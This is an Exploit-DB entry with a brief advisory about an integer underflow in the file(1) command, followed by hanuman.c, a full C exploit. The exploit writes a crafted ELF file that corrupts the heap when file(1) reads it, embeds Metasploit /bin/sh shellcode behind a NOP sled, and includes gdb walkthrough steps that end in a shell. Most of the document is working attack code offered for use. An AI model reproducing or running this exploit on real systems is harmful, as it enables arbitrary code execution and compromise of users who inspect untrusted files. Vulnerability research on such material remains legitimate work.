File(1) 4.13 - Command File_PrintF Integer Underflow

EDB-ID:

29753




Platform:

Linux

Date:

2007-03-19


// source: https://www.securityfocus.com/bid/23021/info

The file(1) command is prone to an integer-underflow vulnerability because the command fails to adequately handle user-supplied data.

An attacker can leverage this issue to corrupt heap memory and execute arbitrary code with the privileges of a user running the command. A successful attack may result in the compromise of affected computers. Failed attempts will likely cause denial-of-service conditions.

Versions prior to 4.20 are vulnerable. 

/*
  * hanuman.c
  *
  * file(1) exploit for version 4.16 to 4.19.
  * Coded by Jean-Sebastien Guay-Leroux
  * http://www.guay-leroux.com
  *
  */


/*

Here are the steps to find the 3 memory values to use for the
file(1)
exploit.


1- The first step is to generate a core dump file from file(1).
You will
then have to analyze this core dump to find the proper values for
your
exploit.

To generate the core file, get an approximation of the top chunk
location
by getting the base address of the BSS section:

bash# readelf -S /usr/bin/file

Section Headers:
   [Nr] Name              Type            Addr
   [ 0]                   NULL            00000000
   [ 1] .interp           PROGBITS        080480f4
   [...]
   [22] .bss              NOBITS          0804b1e0

The BSS section starts at 0x0804b1e0.  Let's call the exploit the
following
way, and remember to replace 0x0804b1e0 for the BSS value you have
found:

bash# ./hanuman 0xc0c0c0c0 0x0804b1e0 0x0804b1e0 mal
--[ Using 0x804b1e0 as the top chunk location.
--[ Impossible to use 0xc0c0c0c0 as the return location. Using
0xc0c0c0c4
instead
--[ Impossible to use 0x804b1e0 as the return address. Using
0x804b1e1
instead
--[ The file has been written
bash# file mal
Segmentation fault (core dumped)
bash#


2- Call gdb on that core dump file.

bash# gdb -q file core.14854
Core was generated by `file mal'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/local/lib/libmagic.so.1...done.
Loaded symbols for /usr/local/lib/libmagic.so.1
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /usr/lib/gconv/ISO8859-1.so...done.
Loaded symbols for /usr/lib/gconv/ISO8859-1.so
#0  0x400a3d15 in mallopt () from /lib/i686/libc.so.6
(gdb)


3- The EAX register contains the address of the top chunk.  It
might be
another register for you.

(gdb) info reg eax
eax            0x80614f8        134616312
(gdb)


4- Start searching from the location of the top chunk to find the
NOP
cushion.  This will be the return address.

0x80614f8:      0xc0c0c0c1      0xb8bc0ee1      0xc0c0c0c1
0xc0c0c0c1
0x8061508:      0xc0c0c0c1      0xc0c0c0c1      0x73282027
0x616e6769
0x8061518:      0x2930206c      0x90909000      0x90909090
0x90909090
0x8061528:      0x90909090      0x90909090      0x90909090
0x90909090
0x8061538:      0x90909090      0x90909090      0x90909090
0x90909090
0x8061548:      0x90909090      0x90909090      0x90909090
0x90909090
0x8061558:      0x90909090      0x90909090      0x90909090
0x90909090
0x8061568:      0x90909090      0x90909090      0x90909090
0x90909090
0x8061578:      0x90909090      0x90909090      0x90909090
0x90909090
0x8061588:      0x90909090      0x90909090      0x90909090
0x90909090
0x8061598:      0x90909090      0x90909090      0x90909090
0x90909090
0x80615a8:      0x90909090      0x90909090      0x90909090
0x90909090
0x80615b8:      0x90909090      0x90909090
(gdb)

0x8061558 is a valid address.


5- To get the return location for your exploit, get a saved EIP
from a
stack frame.

(gdb) frame 3
#3  0x4001f32e in file_tryelf (ms=0x804bc90, fd=3, buf=0x0,
nbytes=8192) at
readelf.c:1007
1007                            if (doshn(ms, class, swap, fd,
(gdb) x $ebp+4
0xbffff7fc:     0x400172b3
(gdb)

0xbffff7fc is the return location.


6- You can now call the exploit with the values that you have found.

bash# ./new 0xbffff7fc 0x8061558 0x80614f8 mal
--[ Using 0x80614f8 as the top chunk location.
--[ Using 0xbffff7fc as the return location.
--[ Impossible to use 0x8061558 as the return address. Using
0x8061559
instead
--[ The file has been written
bash# file mal
sh-2.05b#

*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>


#define DEBUG                           0


#define initial_ELF_garbage             75
//ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
statically
// linked

#define initial_netbsd_garbage          22
//, NetBSD-style, from '

#define post_netbsd_garbage             12
//' (signal 0)


// The following #define are from malloc.c and are used
// to compute the values for the malloc size and the top chunk size.
#define PREV_INUSE 0x1
#define SIZE_BITS  0x7       // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA
#define SIZE_SZ (sizeof(size_t))
#define MALLOC_ALIGNMENT (2 * SIZE_SZ)
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
#define MIN_CHUNK_SIZE 16
#define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK)
\
     & ~MALLOC_ALIGN_MASK))
#define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \
     < MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \
     & ~MALLOC_ALIGN_MASK)


// Offsets of the note entries in the file
#define OFFSET_31_BYTES  2048
#define OFFSET_N_BYTES   2304
#define OFFSET_0_BYTES   2560
#define OFFSET_OVERWRITE 2816
#define OFFSET_SHELLCODE 4096


/* linux_ia32_exec -  CMD=/bin/sh Size=68 Encoder=PexFnstenvSub
    http://metasploit.com */
unsigned char scode[] =
"\x31\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27"
"\xe2\xc0\xb3\x83\xeb\xfc\xe2\xf4\x4d\xe9\x98\x2a\x75\x84\xa8\x9e"
"\x44\x6b\x27\xdb\x08\x91\xa8\xb3\x4f\xcd\xa2\xda\x49\x6b\x23\xe1"
"\xcf\xea\xc0\xb3\x27\xcd\xa2\xda\x49\xcd\xb3\xdb\x27\xb5\x93\x3a"
"\xc6\x2f\x40\xb3";


struct math {
     int nnetbsd;
     int nname;
};

struct sethead {
     unsigned long topchunk_size;
     unsigned long malloc_size;
};


// To be a little more independent, we ripped
// the following ELF structures from elf.h
typedef struct
{
     unsigned char e_ident[16];
     uint16_t e_type;
     uint16_t e_machine;
     uint32_t e_version;
     uint32_t e_entry;
     uint32_t e_phoff;
     uint32_t e_shoff;
     uint32_t e_flags;
     uint16_t e_ehsize;
     uint16_t e_phentsize;
     uint16_t e_phnum;
     uint16_t e_shentsize;
     uint16_t e_shnum;
     uint16_t e_shstrndx;
} Elf32_Ehdr;

typedef struct
{
     uint32_t sh_name;
     uint32_t sh_type;
     uint32_t sh_flags;
     uint32_t sh_addr;
     uint32_t sh_offset;
     uint32_t sh_size;
     uint32_t sh_link;
     uint32_t sh_info;
     uint32_t sh_addralign;
     uint32_t sh_entsize;
} Elf32_Shdr;

typedef struct
{
     uint32_t n_namesz;
     uint32_t n_descsz;
     uint32_t n_type;
} Elf32_Nhdr;


struct sethead * set_head_compute
     (unsigned long retloc, unsigned long retadr, unsigned long
toploc) {

     unsigned long check_retloc, check_retadr;
     struct sethead *shead;

     shead = (struct sethead *) malloc (8);
     if (shead == NULL) {
         fprintf (stderr,
             "--[ Could not allocate memory for sethead
structure\n");
         exit (1);
     }

     if ( (toploc % 8) != 0 ) {
         fprintf (stderr,
             "--[ Impossible to use 0x%x as the top chunk location.",
             toploc);

         toploc = toploc - (toploc % 8);
         fprintf (stderr, "  Using 0x%x instead\n", toploc);
     } else
         fprintf (stderr,
             "--[ Using 0x%x as the top chunk location.\n", toploc);

     // The minus 8 is to take care of the normalization
     // of the malloc parameter
     shead->malloc_size = (retloc - toploc - 8);

     // By adding the 8, we are able to sometimes perfectly hit
     // the return address.  To hit it perfectly, retadr must be a
multiple
     // of 8 + 1 (for the PREV_INUSE flag).
     shead->topchunk_size = (retadr + shead->malloc_size + 8) |
PREV_INUSE;

     if (shead->topchunk_size < shead->malloc_size) {
         fprintf (stderr,
             "--[ ERROR: topchunk size is less than malloc size.\n");
         fprintf (stderr, "--[ Topchunk code will not be
triggered\n");
         exit (1);
     }

     check_retloc = (toploc + request2size (shead->malloc_size) + 4);
     if (check_retloc != retloc) {
         fprintf (stderr,
             "--[ Impossible to use 0x%x as the return location. ",
retloc);
         fprintf (stderr, "Using 0x%x instead\n", check_retloc);
     } else
         fprintf (stderr, "--[ Using 0x%x as the return location.\n",
             retloc);

     check_retadr = ( (shead->topchunk_size & ~(SIZE_BITS))
         - request2size (shead->malloc_size)) | PREV_INUSE;
     if (check_retadr != retadr) {
         fprintf (stderr,
             "--[ Impossible to use 0x%x as the return address.",
retadr);
         fprintf (stderr, " Using 0x%x instead\n", check_retadr);
     } else
         fprintf (stderr, "--[ Using 0x%x as the return address.\n",
             retadr);

     return shead;
}


/*
Not CPU friendly :)
*/
struct math *
compute (int offset) {

     int accumulator = 0;
     int i, j;
     struct math *math;

     math = (struct math *) malloc (8);

     if (math == NULL) {
         printf ("--[ Could not allocate memory for math
structure\n");
         exit (1);
     }

     for (i = 1; i < 100;i++) {

         for (j = 0; j < (i * 31); j++) {

             accumulator = 0;
             accumulator += initial_ELF_garbage;
             accumulator += (i * (initial_netbsd_garbage +
                 post_netbsd_garbage));
             accumulator += initial_netbsd_garbage;

             accumulator += j;

             if (accumulator == offset) {
                 math->nnetbsd = i;
                 math->nname = j;

                 return math;
             }
         }
     }

     // Failed to find a value
     return 0;
}


void
put_byte (char *ptr, unsigned char data) {
     *ptr = data;
}


void
put_longword (char *ptr, unsigned long data) {
     put_byte (ptr, data);
     put_byte (ptr + 1, data >> 8);
     put_byte (ptr + 2, data >> 16);
     put_byte (ptr + 3, data >> 24);
}


FILE *
open_file (char *filename) {

     FILE *fp;

     fp = fopen ( filename , "w" );

     if (!fp) {
         perror ("Cant open file");
         exit (1);
     }

     return fp;
}

void
usage (char *progname) {

     printf ("\nTo use:\n");
     printf ("%s <return location> <return address> ", progname);
     printf ("<topchunk location> <output filename>\n\n");

     exit (1);
}


int
main (int argc, char *argv[]) {

     FILE *fp;
     Elf32_Ehdr *elfhdr;
     Elf32_Shdr *elfshdr;
     Elf32_Nhdr *elfnhdr;
     char *filename;
     char *buffer, *ptr;
     int i;
     struct math *math;
     struct sethead *shead;
     int left_bytes;
     unsigned long retloc, retadr, toploc;
     unsigned long topchunk_size, malloc_size;

     if ( argc != 5) {
         usage ( argv[0] );
     }

     sscanf (argv[1], "0x%x", &retloc);
     sscanf (argv[2], "0x%x", &retadr);
     sscanf (argv[3], "0x%x", &toploc);

     filename = (char *) malloc (256);
     if (filename == NULL) {
         printf ("--[ Cannot allocate memory for filename...\n");
         exit (1);
     }
     strncpy (filename, argv[4], 255);

     buffer = (char *) malloc (8192);
     if (buffer == NULL) {
         printf ("--[ Cannot allocate memory for file buffer\n");
         exit (1);
     }
     memset (buffer, 0, 8192);

     math = compute (1036);
     if (!math) {
         printf ("--[ Unable to compute a value\n");
         exit (1);
     }

     shead = set_head_compute (retloc, retadr, toploc);
     topchunk_size = shead->topchunk_size;
     malloc_size = shead->malloc_size;


     ptr = buffer;
     elfhdr = (Elf32_Ehdr *) ptr;

     // Fill our ELF header
     sprintf(elfhdr->e_ident,"\x7f\x45\x4c\x46\x01\x01\x01");
     elfhdr->e_type =            2;       // ET_EXEC
     elfhdr->e_machine =         3;       // EM_386
     elfhdr->e_version =         1;       // EV_CURRENT
     elfhdr->e_entry =           0;
     elfhdr->e_phoff =           0;
     elfhdr->e_shoff =           52;
     elfhdr->e_flags =           0;
     elfhdr->e_ehsize =          52;
     elfhdr->e_phentsize =       32;
     elfhdr->e_phnum =           0;
     elfhdr->e_shentsize =       40;
     elfhdr->e_shnum =           math->nnetbsd + 2;
     elfhdr->e_shstrndx =        0;


     ptr += elfhdr->e_ehsize;
     elfshdr = (Elf32_Shdr *) ptr;

     // This loop lets us eat an arbitrary number of bytes in ms-
>o.buf
     left_bytes = math->nname;
     for (i = 0; i < math->nnetbsd; i++) {
         elfshdr->sh_name        = 0;
         elfshdr->sh_type        = 7;   // SHT_NOTE
         elfshdr->sh_flags       = 0;
         elfshdr->sh_addr        = 0;
         elfshdr->sh_size        = 256;
         elfshdr->sh_link        = 0;
         elfshdr->sh_info        = 0;
         elfshdr->sh_addralign   = 0;
         elfshdr->sh_entsize     = 0;

         if (left_bytes > 31) {
             // filename == 31
             elfshdr->sh_offset = OFFSET_31_BYTES;
             left_bytes -= 31;
         } else if (left_bytes != 0) {
             // filename < 31 && != 0
             elfshdr->sh_offset = OFFSET_N_BYTES;
             left_bytes = 0;
         } else {
             // filename == 0
             elfshdr->sh_offset = OFFSET_0_BYTES;
         }

         // The first section header will also let us load
         // the shellcode in memory :)
         // Indeed, by requesting a large memory block,
         // the topchunk will be splitted, and this memory region
         // will be left untouched until we need it.
         // We assume its name is 31 bytes long.
         if (i == 0) {
             elfshdr->sh_size = 4096;
             elfshdr->sh_offset = OFFSET_SHELLCODE;
         }

         elfshdr++;
     }


     // This section header entry is for the data that will
     // overwrite the topchunk size pointer
     elfshdr->sh_name        = 0;
     elfshdr->sh_type        = 7;      // SHT_NOTE
     elfshdr->sh_flags       = 0;
     elfshdr->sh_addr        = 0;
     elfshdr->sh_offset      = OFFSET_OVERWRITE;
     elfshdr->sh_size        = 256;
     elfshdr->sh_link        = 0;
     elfshdr->sh_info        = 0;
     elfshdr->sh_addralign   = 0;
     elfshdr->sh_entsize     = 0;
     elfshdr++;


     // This section header entry triggers the call to malloc
     // with a user supplied length.
     // It is a requirement for the set_head technique to work
     elfshdr->sh_name        = 0;
     elfshdr->sh_type        = 7;     // SHT_NOTE
     elfshdr->sh_flags       = 0;
     elfshdr->sh_addr        = 0;
     elfshdr->sh_offset      = OFFSET_N_BYTES;
     elfshdr->sh_size        = malloc_size;
     elfshdr->sh_link        = 0;
     elfshdr->sh_info        = 0;
     elfshdr->sh_addralign   = 0;
     elfshdr->sh_entsize     = 0;
     elfshdr++;


     // This note entry lets us eat 31 bytes + overhead
     elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_31_BYTES);
     elfnhdr->n_namesz       = 12;
     elfnhdr->n_descsz       = 12;
     elfnhdr->n_type         = 1;
     ptr = buffer + OFFSET_31_BYTES + 12;
     sprintf (ptr, "NetBSD-CORE");
     sprintf (buffer + OFFSET_31_BYTES + 24 + 0x7c,
         "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB");


     // This note entry lets us eat an arbitrary number of bytes +
overhead
     elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_N_BYTES);
     elfnhdr->n_namesz       = 12;
     elfnhdr->n_descsz       = 12;
     elfnhdr->n_type         = 1;
     ptr = buffer + OFFSET_N_BYTES + 12;
     sprintf (ptr, "NetBSD-CORE");
     for (i = 0; i < (math->nname % 31); i++)
         buffer[OFFSET_N_BYTES+24+0x7c+i]='B';


     // This note entry lets us eat 0 bytes + overhead
     elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_0_BYTES);
     elfnhdr->n_namesz       = 12;
     elfnhdr->n_descsz       = 12;
     elfnhdr->n_type         = 1;
     ptr = buffer + OFFSET_0_BYTES + 12;
     sprintf (ptr, "NetBSD-CORE");
     buffer[OFFSET_0_BYTES+24+0x7c]=0;


     // This note entry lets us specify the value that will
     // overwrite the topchunk size
     elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_OVERWRITE);
     elfnhdr->n_namesz       = 12;
     elfnhdr->n_descsz       = 12;
     elfnhdr->n_type         = 1;
     ptr = buffer + OFFSET_OVERWRITE + 12;
     sprintf (ptr, "NetBSD-CORE");
     // Put the new topchunk size 7 times in memory
     // The note entry program name is at a specific, odd offset
(24+0x7c)?
     for (i = 0; i < 7; i++)
         put_longword (buffer + OFFSET_OVERWRITE + 24 + 0x7c + (i *
4),
             topchunk_size);


     // This note entry lets us eat 31 bytes + overhead, but
     // its real purpose is to load the shellcode in memory.
     // We assume that its name is 31 bytes long.
     elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_SHELLCODE);
     elfnhdr->n_namesz       = 12;
     elfnhdr->n_descsz       = 12;
     elfnhdr->n_type         = 1;
     ptr = buffer + OFFSET_SHELLCODE + 12;
     sprintf (ptr, "NetBSD-CORE");
     sprintf (buffer + OFFSET_SHELLCODE + 24 + 0x7c,
          "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB");


     // Fill this memory region with our shellcode.
     // Remember to leave the note entry untouched ...
     memset (buffer + OFFSET_SHELLCODE + 256, 0x90, 4096-256);
     sprintf (buffer + 8191 - strlen (scode), scode);


     fp = open_file (filename);
     if (fwrite (buffer, 8192, 1, fp) != 0 ) {
         printf ("--[ The file has been written\n");
     } else {
         printf ("--[ Can not write to the file\n");
         exit (1);
     }
     fclose (fp);


     free (shead);
     free (math);
     free (buffer);
     free (filename);


     return 0;
}